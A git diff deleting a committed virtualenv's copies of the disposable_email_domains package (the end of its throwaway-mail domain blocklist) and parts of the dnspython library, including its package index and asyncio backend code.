'ultralux.io.vn', - 'ultravex.cfd', - 'ultraz1.io.vn', - 'ultrmigos.online', - 'uma3.be', - 'umail.net', - 'umil.net', - 'umiudi.cn', - 'umombiss.tk', - 'undeadbank.com', - 'underseagolf.com', - 'undo.it', - 'unfairship.com', - 'unicodeworld.com', - 'unids.com', - 'unimain.tech', - 'unimark.org', - 'uniromax.com', - 'unit7lahaina.com', - 'unitedcharitiesosm.org.uk', - 'universall.me', - 'unlikeyth.com', - 'unmail.ru', - 'unratito.com', - 'uofzcpg9ftykob.asia', - 'uooos.com', - 'uorak.com', - 'upc.infos.st', - 'upliftnow.com', - 'uplipht.com', - 'uploadnolimit.com', - 'upozowac.info', - 'upphim.net', - 'upsnab.net', - 'uqqlrdi.top', - 'urbanvalore.info', - 'urfunktion.se', - 'urgentmail.ovh', - 'urhen.com', - 'uroid.com', - 'us-x.top', - 'us.af', - 'us.to', - 'usa.cc', - 'usa.edu.pl', - 'usaishop.shop', - 'usako.net', - 'usbc.be', - 'usdtbeta.com', - 'used-product.fr', - 'usedus.me', - 'uselesswebsites.net', - 'ushijima1129.cf', - 'ushijima1129.ga', - 'ushijima1129.gq', - 'ushijima1129.ml', - 'ushijima1129.tk', - 'usm.ovh', - 'ustorp.com', - 'usus.accesscam.org', - 'usus.camdvr.org', - 'usus.casacam.net', - 'usus.ddnsfree.com', - 'ususus.dynv6.net', - 'utiket.us', - 'utkarsh.tech', - 'uu.gl', - 'uu2.ovh', - 'uue.edu.pl', - 'uuf.me', - 'uuii.in', - 'uvaul.us.ci', - 'uwork4.us', - 'uyhip.com', - 'uz8.net', - 'v-mail.xyz', - 'v6.army', - 'v6.navy', - 'v6.rocks', - 'vaasfc4.tk', - 'vaati.org', - 'vae.indevs.in', - 'vafyxh.com', - 'valanides.com', - 'valemail.net', - 'valhalladev.com', - 'valueineveryone.co.uk', - 'vankin.de', - 'vasteron.com', - 'vatos.gg', - 'vaupk.org', - 'vbgvd.com', - 'vbv.cards', - 'vcois.com', - 'vctel.com', - 'vda.ro', - 'vddaz.com', - 'vdig.com', - 'veanlo.com', - 'veb37.com', - 'vectorbrasil.app', - 'velatrix.cfd', - 'veletis.bond', - 'velmoor.org', - 'velocitronix.online', - 'veltexline.com', - 'vemomail.win', - 'venariq.cfd', - 'venompen.com', - 'ventrovia.cfd', - 'veo.kr', - 'veo325k.io.vn', - 'veo325kcredit.io.vn', - 'veo33.io.vn', - 'veo3ultra.sbs', - 'veomatrix25k.io.vn', - 'veoverse25k.io.vn', - 'ver0.cf', - 'ver0.ga', - 'ver0.gq', - 'ver0.ml', - 'ver0.tk', - 'vercelli.cf', - 'vercelli.ga', - 'vercelli.gq', - 'vercelli.ml', - 'verdejo.com', - 'verel.online', - 'verifycenter.net', - 'verityemail.site', - 'vermutlich.net', - 'vernonbourne.uk', - 'veronicamira.info', - 'vertexinbox.com', - 'vertexium.net', - 'veruvercomail.com', - 'verybigdick.cyou', - 'veryday.ch', - 'veryday.eu', - 'veryday.info', - 'veryrealemail.com', - 'ves.ink', - 'vesa.pw', - 'vesdev01.shop', - 'vetra.cyou', - 'vevs.de', - 'vexalor.cfd', - 'vexaluno.xyz', - 'vexi.my', - 'vextora.click', - 'vfdhks.eu.cc', - 'vfre4w3.dynv6.net', - 'vfwladiesauxin.org', - 'via.tokyo.jp', - 'viavuive.net', - 'vibertees.com', - 'vibzi.net', - 'vickaentb.tk', - 'victime.ninja', - 'victoriaalison.com', - 'victoriantwins.com', - 'vidchart.com', - 'videoigdownload.com', - 'videotoptop.com', - 'viditag.com', - 'vidwobox.com', - 'viemarter.online', - 'viettravel.io.vn', - 'viewbuster.ru', - 'viewcastmedia.com', - 'viewcastmedia.net', - 'viewcastmedia.org', - 'viewmuse.com', - 'vigilantkeep.net', - 'vigoneo.com', - 'vikingsonly.com', - 'villaxoa.site', - 'vinaemail.com', - 'vinakoop.com', - 'vinakop.com', - 'vinatissue.org', - 'vinernet.com', - 'vinhdo.shop', - 'vintomaper.com', - 'viole.cfd', - 'violet0923.online', - 'vipepe.com', - 'vipmail.name', - 'vipmail.pw', - 'vipmba.cc', - 'vips.pics', - 'vipxm.net', - 'viralplays.com', - 'virelio.cfd', - 'virgilian.com', - 'virginsrus.xyz', - 'virtualemail.info', - 'visal007.tk', - 'visal168.cf', - 'visal168.ga', - 'visal168.gq', - 'visal168.ml', - 'visal168.tk', - 'visignal.com', - 'visualdep.run.place', - 'visualnest.work', - 'visuals.linkpc.net', - 'vitahicks.com', - 'vitaspherelife.com', - 'vitrineproducoes.com', - 'viv2.com', - 'vixletdev.com', - 'vixtricks.com', - 'vjoid.ru', - 'vjoid.store', - 'vjuum.com', - 'vkbb.ru', - 'vkbb.store', - 'vkbt.ru', - 'vkbt.store', - 'vkcbt.ru', - 'vkcbt.store', - 'vkcode.ru', - 'vkfu.ru', - 'vkfu.store', - 'vkjashdf.eu.cc', - 'vkpr.store', - 'vkr1.com', - 'vkrr.ru', - 'vkrr.store', - 'vladhub.buzz', - 'vlemi.com', - 'vlrregulatory.com', - 'vmailing.info', - 'vmani.com', - 'vmm.indevs.in', - 'vmpanda.com', - 'vn-one.com', - 'vncctv.org', - 'vnedu.me', - 'vnfjsh.eu.cc', - 'vntechhub.online', - 'vnvmail.com', - 'vobau.net', - 'voerpemww.click', - 'voicesforchangeinc.org', - 'voidbay.com', - 'voidmail.one', - 'voidpop.win', - 'volaj.com', - 'volku.org', - 'voltaer.com', - 'voltr.click', - 'voltravia.cfd', - 'vomoto.com', - 'vorga.org', - 'vortalis.cfd', - 'voryxen.com', - 'vothanhtuan.shop', - 'votiputox.org', - 'voxelcore.com', - 'voxinh.net', - 'vpn.st', - 'vpn64.de', - 'vpnseat.com', - 'vps30.com', - 'vps79.com', - 'vps911.net', - 'vradportal.com', - 'vremonte24-store.ru', - 'vrjxk.com', - 'vrmtr.com', - 'vsdsd23gsdf.shop', - 'vsimcard.com', - 'vsmailpro.com', - 'vssms.com', - 'vtmpj.net', - 'vtxmail.us', - 'vuatrochoi.nl', - 'vubby.com', - 'vuiy.pw', - 'vuket.org', - 'vulca.sbs', - 'vulcanpioneerjers.org', - 'vupn.me', - 'vusra.com', - 'vutrugay.org', - 'vvatxiy.com', - 'vwagamlk.top', - 'vwhins.com', - 'vxsolar.com', - 'vystella.cfd', - 'vztc.com', - 'w-asertun.ru', - 'w3internet.co.uk', - 'wacold.com', - 'waguriagent.codes', - 'waisfoundation.com', - 'waitbeqa.com', - 'waivey.com', - 'wakingupesther.com', - 'walala.org', - 'walkmail.net', - 'walkmail.ru', - 'wallm.com', - 'wanai.biz.id', - 'wanaofamouscar.com', - 'wanko.be', - 'wanting2work.org.uk', - 'wanva.shop', - 'wargravepreschool.uk', - 'warlus.asso.st', - 'waroengin.com', - 'waroengku.cc', - 'waroengkuy.com', - 'waroengmail.com', - 'waroengpremium.com', - 'warrity25k.io.vn', - 'warunkto.com', - 'watch-harry-potter.com', - 'watchever.biz', - 'watchfull.net', - 'watchironman3onlinefreefullmovie.com', - 'waterisgone.com', - 'waterpalace.pro', - 'watersoftenersystemcost.com', - 'watrf.com', - 'watsawang.com', - 'waventra.cfd', - 'waw.indevs.in', - 'wazabi.club', - 'wbdev.tech', - 'wbml.net', - 'wbslxy.cc.cd', - 'wearkeymail.site', - 'wearvault.biz.id', - 'web-contact.info', - 'web-ideal.fr', - 'web-inc.net', - 'web-library.net', - 'web-mail.pp.ua', - 'web2mailco.com', - 'webcamness.com', - 'webclub.infos.st', - 'webcontact-france.eu', - 'webemail.me', - 'webhook.site', - 'webinarmoa.com', - 'webm4il.info', - 'webmail24.top', - 'webmailus.com', - 'webofip.com', - 'webscash.com', - 'webstore.fr.nf', - 'webtrip.ch', - 'webui.cc.cd', - 'webuser.in', - 'wecanmakehit.win', - 'wecp.ru', - 'wecp.store', - 'wee.my', - 'weekfly.com', - 'weekzs.icu', - 'weeline.fun', - 'wef.gr', - 'weg-werf-email.de', - 'wegoo.dpdns.org', - 'wegwerf-email-addressen.de', - 'wegwerf-email-adressen.de', - 'wegwerf-email.at', - 'wegwerf-email.de', - 'wegwerf-email.net', - 'wegwerf-emails.de', - 'wegwerfadresse.de', - 'wegwerfemail.com', - 'wegwerfemail.de', - 'wegwerfemail.info', - 'wegwerfemail.net', - 'wegwerfemail.org', - 'wegwerfemailadresse.com', - 'wegwerfmail.de', - 'wegwerfmail.info', - 'wegwerfmail.net', - 'wegwerfmail.org', - 'wegwerpmailadres.nl', - 'wegwrfmail.de', - 'wegwrfmail.net', - 'wegwrfmail.org', - 'weiruipingji.com', - 'weizixu.com', - 'wekawa.com', - 'welikecookies.com', - 'wellsfargocomcardholders.com', - 'wemel.top', - 'wenkuu.com', - 'wentcity.com', - 'wenyuanshe.com', - 'wep.email', - 'wetrainbayarea.com', - 'wetrainbayarea.org', - 'weyword.cfd', - 'wfgdfhj.tk', - 'wg0.com', - 'wh4f.org', - 'whaaaaaaaaaat.com', - 'whatagarbage.com', - 'whatemi.de', - 'whatever.za.net', - 'whatiaas.com', - 'whatifanalytics.com', - 'whatpaas.com', - 'whatsaas.com', - 'whf222.top', - 'whiffles.org', - 'whirlygirlink.org', - 'whispermail.org', - 'whitehousecalculator.com', - 'whitemistral.pro', - 'whopy.com', - 'whyspam.me', - 'wibblesmith.com', - 'wicfolhumanservices.org', - 'wickmail.net', - 'widaryanto.info', - 'widget.gg', - 'wiemei.com', - 'wierie.tk', - 'wifimaple.com', - 'wifioak.com', - 'wikfee.com', - 'wikidocuslava.ru', - 'wildan.tech', - 'wilemail.com', - 'willhackforfood.biz', - 'willselfdestruct.com', - 'wimsg.com', - 'windsurfcom.shop', - 'winemaven.info', - 'winocs.com', - 'wins.com.br', - 'wintersgf.store', - 'wintersmail.site', - 'wir-sind.com', - 'wireconnected.com', - 'wishy.fr', - 'wivstore.com', - 'wlist.ro', - 'wlsom.com', - 'wmail.cf', - 'wmail.club', - 'wmct.info', - 'wmksuhd.cn', - 'wnbaldwy.com', - 'wohbc.co.uk', - 'wokcy.com', - 'wolfmail.ml', - 'wolfsmail.tk', - 'wollan.info', - 'womp-wo.mp', - 'woofgl.email', - 'woofidog.fr.nf', - 'woopros.com', - 'workhorsefilms.com', - 'workingtall.com', - 'worldcoins.top', - 'worldlylife.store', - 'worldspace.link', - 'woshiemoman.cloud-ip.cc', - 'wpdork.com', - 'wpg.im', - 'wralawfirm.com', - 'wrgee.com', - 'writeme.us', - 'wronghead.com', - 'wrqj.top', - 'ws.gy', - 'wshu.net', - 'wsym.de', - 'wsypc.com', - 'wtjinkintrust.co.uk', - 'wudet.men', - 'wudiai.shop', - 'wuespdj.xyz', - 'wupics.com', - 'wusongdahu.cc.cd', - 'wuuvo.com', - 'wuzak.com', - 'wuzup.net', - 'wuzupmail.net', - 'wwc8.com', - 'wwdskboiv.top', - 'wwefd.top', - 'wwej.cc.cd', - 'wwjmp.com', - 'wwtykkm.bond', - 'wwvec.uno', - 'wwvk.ru', - 'wwvk.store', - 'wwwnew.eu', - 'wxcv.fr.nf', - 'wxf07.shop', - 'wxnw.net', - 'wyoxafp.com', - 'wywnxa.com', - 'wzjpj.com', - 'wzjyyds.com', - 'wzofit.com', - 'x-clone.asia', - 'x-lab.net', - 'x0q.net', - 'x1ix.com', - 'x24.com', - 'x80.dpdns.org', - 'x80la.shop', - 'x9ad1.my', - 'xagloo.co', - 'xagloo.com', - 'xandoria.cfd', - 'xapimail.top', - 'xazymarcie.space', - 'xbaby69.top', - 'xbrok.com', - 'xcf.pet', - 'xclone.asia', - 'xcode.ro', - 'xcodes.net', - 'xcompress.com', - 'xcoxc.com', - 'xcpy.com', - 'xcsllajs.eu.cc', - 'xcucngon.site', - 'xcvuaylik.top', - 'xcvv.xyz', - 'xdfrms.fun', - 'xdnss.cc', - 'xdpxdp.online', - 'xehop.org', - 'xelio.sbs', - 'xelu.space', - 'xemaps.com', - 'xemne.com', - 'xen-bypass.com', - 'xenloria.cfd', - 'xeno.gay', - 'xenta.cfd', - 'xents.com', - 'xepa.ru', - 'xfavaj.com', - 'xgmail.bond', - 'xhotmail.cyou', - 'xi2.cc', - 'xiajspof.eu.cc', - 'xiangshan.eu.cc', - 'xiaoche.ggff.net', - 'xiaoguaishou.icu', - 'xiaohuangyu.ccwu.cc', - 'xiaoting.cc', - 'xib.icu', - 'xidealx.com', - 'xikemail.com', - 'ximenor.site', - 'xingmeisofa.com', - 'xirentha.cfd', - 'xitler.top', - 'xiwinnie.icu', - 'xjoi.com', - 'xkx.me', - 'xkxkud.com', - 'xl.cx', - 'xlcsh.icu', - 'xmailer.be', - 'xmailtm.com', - 'xmaily.com', - 'xmisom.help', - 'xmlab.icu', - 'xmyvgkvw.top', - 'xn--5nx.cc', - 'xn--9kq967o.com', - 'xn--ai-ry2ck37oorv.com', - 'xn--d-bga.net', - 'xn--di5au2k.shop', - 'xn--ihq4pool8g32cwxiiqcovaa9159jhvah03g.top', - 'xn--jxsa73o.eu.org', - 'xn--o38h.abrdns.com', - 'xn--yaho-sqa.com', - 'xn-xp8h.bond', - 'xojxe.com', - 'xopmail.fun', - 'xost.us', - 'xoxo3.website', - 'xoxox.cc', - 'xperiae5.com', - 'xpremium.pro', - 'xpromail.xyz', - 'xqqgegsd.eu.cc', - 'xrap.de', - 'xshop.bond', - 'xsioap.eu.cc', - 'xsnipersquad.com', - 'xsnipersquad.site', - 'xsnipersquad.space', - 'xstyled.net', - 'xswl.xyz', - 'xvx.us', - 'xww.ro', - 'xxhamsterxx.ga', - 'xxi2.com', - 'xxl.st', - 'xxlocanto.us', - 'xxmailedu.dpdns.org', - 'xxolocanto.us', - 'xxqx3802.com', - 'xxvd.net', - 'xxvk.ru', - 'xxvk.store', - 'xxxhi.cc', - 'xy9ce.tk', - 'xylanta.cfd', - 'xylar.ru', - 'xylar.store', - 'xyxy.app', - 'xyzfree.net', - 'xzsok.com', - 'yabai-oppai.tk', - 'yabes.ovh', - 'yahmail.top', - 'yahooproduct.net', - 'yahoox.cyou', - 'yaloo.fr.nf', - 'yamail.win', - 'yanet.me', - 'yangzhai.xyz', - 'yangzhong-sfd.cc', - 'yannmail.win', - 'yanxuan.eu.cc', - 'yapped.net', - 'yaqp.com', - 'yarnpedia.ga', - 'ybidbccmv.top', - 'yc08.cn', - 'ycare.de', - 'ycglobalmovement.com', - 'ycn.ro', - 'ydns.eu', - 'ye.vc', - 'yecp.ru', - 'yecp.store', - 'yedi.org', - 'yeezus.ru', - 'yellofdf2.click', - 'yenphandinhe.com', - 'yep.it', - 'yermail.net', - 'yeummo.io.vn', - 'yfhsdb.eu.cc', - 'ygbelira.me', - 'yhg.biz', - 'yihacihuy.top', - 'yilue.eu.org', - 'ying-ge.com', - 'yingzi321.shop', - 'yjlwcbrf.top', - 'yl66.cfd', - 'ymonthl.com', - 'ynagjie-66.cc', - 'ynmrealty.com', - 'yodwg.sbs', - 'yodx.ro', - 'yogamaven.com', - 'yoggm.com', - 'yogirt.com', - 'yomail.edu.pl', - 'yomail.info', - 'yomand.store', - 'yondrix.cfd', - 'yoo.ro', - 'yopmail.com', - 'yopmail.fr', - 'yopmail.gq', - 'yopmail.kro.kr', - 'yopmail.loseyourip.com', - 'yopmail.net', - 'yopmail.ooguy.com', - 'yopmail.pp.ua', - 'yopmail.theworkpc.com', - 'yopmail.webredirect.org', - 'yoptruc.fr.nf', - 'yordanmail.cf', - 'yorushika.one', - 'yotmail.fr.nf', - 'you-spam.com', - 'yougotgoated.com', - 'youmail.ga', - 'youmailr.com', - 'youneedmore.info', - 'youpymail.com', - 'your5.ru', - 'your5.store', - 'yourdomain.com', - 'youremail.cf', - 'yourewronghereswhy.com', - 'yourlms.biz', - 'yours.tools', - 'yourspamgoesto.space', - 'yourtube.ml', - 'youtube-com-watch-jtpdc8khnpi.accesscam.org', - 'youtube-com-watch-jtpdc8khnpi.bond', - 'youtube-com-watch-jtpdc8khnpi.cyou', - 'youtube-com-watch-jtpdc8khnpi.dedyn.io', - 'youtube-com-watch-jtpdc8khnpi.freeddns.org', - 'youtube-com-watch-jtpdc8khnpi.gleeze.com', - 'youtube-com-watch-jtpdc8khnpi.loseyourip.com', - 'youtube-com-watch-jtpdc8khnpi.mywire.org', - 'youtube-com-watch-jtpdc8khnpi.ooguy.com', - 'youtube-com-watch-jtpdc8khnpi.theworkpc.com', - 'youtube-com-watch-jtpdc8khnpi.webredirect.org', - 'youxiang.dev', - 'yroid.com', - 'yrppwsekv.top', - 'ysfuddr.top', - 'ysgdjd.fun', - 'yshdnhh.click', - 'yspend.com', - 'ysuhd.art', - 'yszmy.cn', - 'ytkj.us.ci', - 'ytnhy.com', - 'ytoof.app', - 'ytpayy.com', - 'yugasandrika.com', - 'yui.it', - 'yujiehanjiao.cc', - 'yuki.ren', - 'yummymeow.eu', - 'yummymeow.fr', - 'yummymeow.org', - 'yummymeow.store', - 'yun.pics', - 'yuoia.com', - 'yurevia.cfd', - 'yuurok.com', - 'ywiueryweqrwerqsdf.us.ci', - 'ywzmb.top', - 'yxdad.ru', - 'yxdad.store', - 'yxx1.ccwu.cc', - 'yxxala.ccwu.cc', - 'yxxawa.ccwu.cc', - 'yxxawa.top', - 'yxzx.net', - 'yydsplus.top', - 'yyolf.net', - 'yzcalo.com', - 'yzm.de', - 'z-o-e-v-a.ru', - 'z0d.eu', - 'z1p.biz', - 'z86.ru', - 'zai.asia', - 'zain.com.co', - 'zain.site', - 'zainmax.net', - 'zaktouni.fr', - 'zalesie.net.pl', - 'zantrax.com', - 'zapmail.one', - 'zarabotokdoma11.ru', - 'zarkbin.store', - 'zasod.com', - 'zauxpbp.cn', - 'zaym-zaym.ru', - 'zcdpbx.top', - 'zcjzy.cc.cd', - 'zcovz.ru', - 'zcovz.store', - 'zcrcd.com', - 'zdenka.net', - 'ze.tc', - 'zebins.com', - 'zebins.eu', - 'zehnminuten.de', - 'zehnminutenmail.de', - 'zeldaa.ccwu.cc', - 'zellatrix.cfd', - 'zellio.yachts', - 'zemzar.net', - 'zenbada.com', - 'zenbyul.com', - 'zenthara.cfd', - 'zenthira.cfd', - 'zenthranet.com', - 'zephyros.cfd', - 'zepp.dk', - 'zeronerbacomail.com', - 'zeropolly.com', - 'zetmail.com', - 'zevionyx.com', - 'zfymail.com', - 'zhaji.eu.org', - 'zhanhuokma2.wang', - 'zhaoqian.ninja', - 'zhaoyuanedu.cn', - 'zhcne.com', - 'zhengwz.dpdns.org', - 'zhewei88.com', - 'zhizhiwei.fun', - 'zhjjq.tech', - 'zhorachu.com', - 'zhousj.eu.org', - 'zik.dj', - 'zikzak.site', - 'zipcad.com', - 'zipcatfish.com', - 'ziping.me', - 'zipmail.one', - 'zipo1.gq', - 'zippymail.info', - 'zipsendtest.com', - 'zira.my', - 'ziragold.com', - 'zivox.sbs', - 'ziyoupi.asia', - 'zizo7.com', - 'zkfdwz.shop', - 'zmail.cam', - 'zmnai.top', - 'zmypxprb.sbs', - 'zoaxe.com', - 'zoemail.com', - 'zoemail.net', - 'zoemail.org', - 'zoetropes.org', - 'zolamin.com', - 'zolmiu.cfd', - 'zombie-hive.com', - 'zomg.info', - 'zoomintens.com', - 'zorg.fr.nf', - 'zouz.fr.nf', - 'zovion.com', - 'zozozo123.com', - 'zrufe.com', - 'zsero.com', - 'zsmj.cc.cd', - 'zsts.top', - 'zudpck.com', - 'zuldev.live', - 'zumnime.me', - 'zumpul.com', - 'zutomayo.best', - 'zv68.com', - 'zvvzuv.com', - 'zx81.ovh', - 'zxcv.com', - 'zxcvbn123.cc.cd', - 'zxcvbnm.com', - 'zxhyzlwcp.top', - 'zxqzin.cn', - 'zymuying.com', - 'zyns.com', - 'zypherin.cfd', - 'zyranova.cfd', - 'zyvenix.cfd', - 'zzi.us', - 'zzrgg.com', - 'zzz.com', - 'zzzzzzzzzzzzzz-1090.dynv6.net', - 'zzzzzzzzzzzzzz-2092.dynv6.net', - 'zzzzzzzzzzzzzz-277.dynv6.net', - 'zzzzzzzzzzzzzz-3294.dynv6.net', - 'zzzzzzzzzzzzzz-3330.dynv6.net', - 'zzzzzzzzzzzzzz-3535.dynv6.net', - 'zzzzzzzzzzzzzz-3928.dynv6.net', - 'zzzzzzzzzzzzzz-3940.dynv6.net', - 'zzzzzzzzzzzzzz-4283.dynv6.net', - 'zzzzzzzzzzzzzz-4904.dynv6.net', - 'zzzzzzzzzzzzzz-5055.dynv6.net', - 'zzzzzzzzzzzzzz-5246.dynv6.net', - 'zzzzzzzzzzzzzz-546.dynv6.net', - 'zzzzzzzzzzzzzz-739.dynv6.net', - 'zzzzzzzzzzzzzz-7619.dynv6.net', - 'zzzzzzzzzzzzzz-7911.dynv6.net', - 'zzzzzzzzzzzzzz-8050.dynv6.net', - 'zzzzzzzzzzzzzz-8079.dynv6.net', - 'zzzzzzzzzzzzzz-8874.dynv6.net', - 'zzzzzzzzzzzzzz-969.dynv6.net', - 'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.loseyourip.com', - 'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.ooguy.com', -} - -# For backwards compatibility -allowlist: set[str] = set() -locals()['tsilkcalb'[::-1]] = blocklist -locals()['tsiletihw'[::-1]] = allowlist diff --git a/venv/Lib/site-packages/disposable_email_domains/py.typed b/venv/Lib/site-packages/disposable_email_domains/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/dns/__init__.py b/venv/Lib/site-packages/dns/__init__.py deleted file mode 100644 index d30fd742a227e80f984eac729d441d265612867e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/__init__.py +++ /dev/null @@ -1,72 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009, 2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""dnspython DNS toolkit""" - -__all__ = [ - "asyncbackend", - "asyncquery", - "asyncresolver", - "btree", - "btreezone", - "dnssec", - "dnssecalgs", - "dnssectypes", - "e164", - "edns", - "entropy", - "exception", - "flags", - "immutable", - "inet", - "ipv4", - "ipv6", - "message", - "name", - "namedict", - "node", - "opcode", - "query", - "quic", - "rcode", - "rdata", - "rdataclass", - "rdataset", - "rdatatype", - "renderer", - "resolver", - "reversename", - "rrset", - "serial", - "set", - "tokenizer", - "transaction", - "tsig", - "tsigkeyring", - "ttl", - "rdtypes", - "update", - "version", - "versioned", - "wire", - "xfr", - "zone", - "zonetypes", - "zonefile", -] - -from dns.version import version as __version__ # noqa diff --git a/venv/Lib/site-packages/dns/_asyncbackend.py b/venv/Lib/site-packages/dns/_asyncbackend.py deleted file mode 100644 index 23455db37403f201c22bea60e59afb0438d59fdb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/_asyncbackend.py +++ /dev/null @@ -1,100 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# This is a nullcontext for both sync and async. 3.7 has a nullcontext, -# but it is only for sync use. - - -class NullContext: - def __init__(self, enter_result=None): - self.enter_result = enter_result - - def __enter__(self): - return self.enter_result - - def __exit__(self, exc_type, exc_value, traceback): - pass - - async def __aenter__(self): - return self.enter_result - - async def __aexit__(self, exc_type, exc_value, traceback): - pass - - -# These are declared here so backends can import them without creating -# circular dependencies with dns.asyncbackend. - - -class Socket: # pragma: no cover - def __init__(self, family: int, type: int): - self.family = family - self.type = type - - async def close(self): - pass - - async def getpeername(self): - raise NotImplementedError - - async def getsockname(self): - raise NotImplementedError - - async def getpeercert(self, timeout): - raise NotImplementedError - - async def __aenter__(self): - return self - - async def __aexit__(self, exc_type, exc_value, traceback): - await self.close() - - -class DatagramSocket(Socket): # pragma: no cover - async def sendto(self, what, destination, timeout): - raise NotImplementedError - - async def recvfrom(self, size, timeout): - raise NotImplementedError - - -class StreamSocket(Socket): # pragma: no cover - async def sendall(self, what, timeout): - raise NotImplementedError - - async def recv(self, size, timeout): - raise NotImplementedError - - -class NullTransport: - async def connect_tcp(self, host, port, timeout, local_address): - raise NotImplementedError - - -class Backend: # pragma: no cover - def name(self) -> str: - return "unknown" - - async def make_socket( - self, - af, - socktype, - proto=0, - source=None, - destination=None, - timeout=None, - ssl_context=None, - server_hostname=None, - ): - raise NotImplementedError - - def datagram_connection_required(self): - return False - - async def sleep(self, interval): - raise NotImplementedError - - def get_transport_class(self): - raise NotImplementedError - - async def wait_for(self, awaitable, timeout): - raise NotImplementedError diff --git a/venv/Lib/site-packages/dns/_asyncio_backend.py b/venv/Lib/site-packages/dns/_asyncio_backend.py deleted file mode 100644 index 303908cebf6e637307f3d1e04d233f24db6bc0e1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/_asyncio_backend.py +++ /dev/null @@ -1,276 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -"""asyncio library query support""" - -import asyncio -import socket -import sys - -import dns._asyncbackend -import dns._features -import dns.exception -import dns.inet - -_is_win32 = sys.platform == "win32" - - -def _get_running_loop(): - try: - return asyncio.get_running_loop() - except AttributeError: # pragma: no cover - return asyncio.get_event_loop() - - -class _DatagramProtocol: - def __init__(self): - self.transport = None - self.recvfrom = None - - def connection_made(self, transport): - self.transport = transport - - def datagram_received(self, data, addr): - if self.recvfrom and not self.recvfrom.done(): - self.recvfrom.set_result((data, addr)) - - def error_received(self, exc): # pragma: no cover - if self.recvfrom and not self.recvfrom.done(): - self.recvfrom.set_exception(exc) - - def connection_lost(self, exc): - if self.recvfrom and not self.recvfrom.done(): - if exc is None: - # EOF we triggered. Is there a better way to do this? - try: - raise EOFError("EOF") - except EOFError as e: - self.recvfrom.set_exception(e) - else: - self.recvfrom.set_exception(exc) - - def close(self): - if self.transport is not None: - self.transport.close() - - -async def _maybe_wait_for(awaitable, timeout): - if timeout is not None: - try: - return await asyncio.wait_for(awaitable, timeout) - except asyncio.TimeoutError: - raise dns.exception.Timeout(timeout=timeout) - else: - return await awaitable - - -class DatagramSocket(dns._asyncbackend.DatagramSocket): - def __init__(self, family, transport, protocol): - super().__init__(family, socket.SOCK_DGRAM) - self.transport = transport - self.protocol = protocol - - async def sendto(self, what, destination, timeout): # pragma: no cover - # no timeout for asyncio sendto - self.transport.sendto(what, destination) - return len(what) - - async def recvfrom(self, size, timeout): - # ignore size as there's no way I know to tell protocol about it - done = _get_running_loop().create_future() - try: - assert self.protocol.recvfrom is None - self.protocol.recvfrom = done - await _maybe_wait_for(done, timeout) - return done.result() - finally: - self.protocol.recvfrom = None - - async def close(self): - self.protocol.close() - - async def getpeername(self): - return self.transport.get_extra_info("peername") - - async def getsockname(self): - return self.transport.get_extra_info("sockname") - - async def getpeercert(self, timeout): - raise NotImplementedError - - -class StreamSocket(dns._asyncbackend.StreamSocket): - def __init__(self, af, reader, writer): - super().__init__(af, socket.SOCK_STREAM) - self.reader = reader - self.writer = writer - - async def sendall(self, what, timeout): - self.writer.write(what) - return await _maybe_wait_for(self.writer.drain(), timeout) - - async def recv(self, size, timeout): - return await _maybe_wait_for(self.reader.read(size), timeout) - - async def close(self): - self.writer.close() - - async def getpeername(self): - return self.writer.get_extra_info("peername") - - async def getsockname(self): - return self.writer.get_extra_info("sockname") - - async def getpeercert(self, timeout): - return self.writer.get_extra_info("peercert") - - -if dns._features.have("doh"): - import anyio - import httpcore - import httpcore._backends.anyio - import httpx - - _CoreAsyncNetworkBackend = httpcore.AsyncNetworkBackend - _CoreAnyIOStream = httpcore._backends.anyio.AnyIOStream # pyright: ignore - - from dns.query import _compute_times, _expiration_for_this_attempt, _remaining - - class _NetworkBackend(_CoreAsyncNetworkBackend): - def __init__(self, resolver, local_port, bootstrap_address, family): - super().__init__() - self._local_port = local_port - self._resolver = resolver - self._bootstrap_address = bootstrap_address - self._family = family - if local_port != 0: - raise NotImplementedError( - "the asyncio transport for HTTPX cannot set the local port" - ) - - async def connect_tcp( - self, host, port, timeout=None, local_address=None, socket_options=None - ): # pylint: disable=signature-differs - addresses = [] - _, expiration = _compute_times(timeout) - if dns.inet.is_address(host): - addresses.append(host) - elif self._bootstrap_address is not None: - addresses.append(self._bootstrap_address) - else: - timeout = _remaining(expiration) - family = self._family - if local_address: - family = dns.inet.af_for_address(local_address) - answers = await self._resolver.resolve_name( - host, family=family, lifetime=timeout - ) - addresses = answers.addresses() - for address in addresses: - try: - attempt_expiration = _expiration_for_this_attempt(2.0, expiration) - timeout = _remaining(attempt_expiration) - with anyio.fail_after(timeout): - stream = await anyio.connect_tcp( - remote_host=address, - remote_port=port, - local_host=local_address, - ) - return _CoreAnyIOStream(stream) - except Exception: - pass - raise httpcore.ConnectError - - async def connect_unix_socket( - self, path, timeout=None, socket_options=None - ): # pylint: disable=signature-differs - raise NotImplementedError - - async def sleep(self, seconds): # pylint: disable=signature-differs - await anyio.sleep(seconds) - - 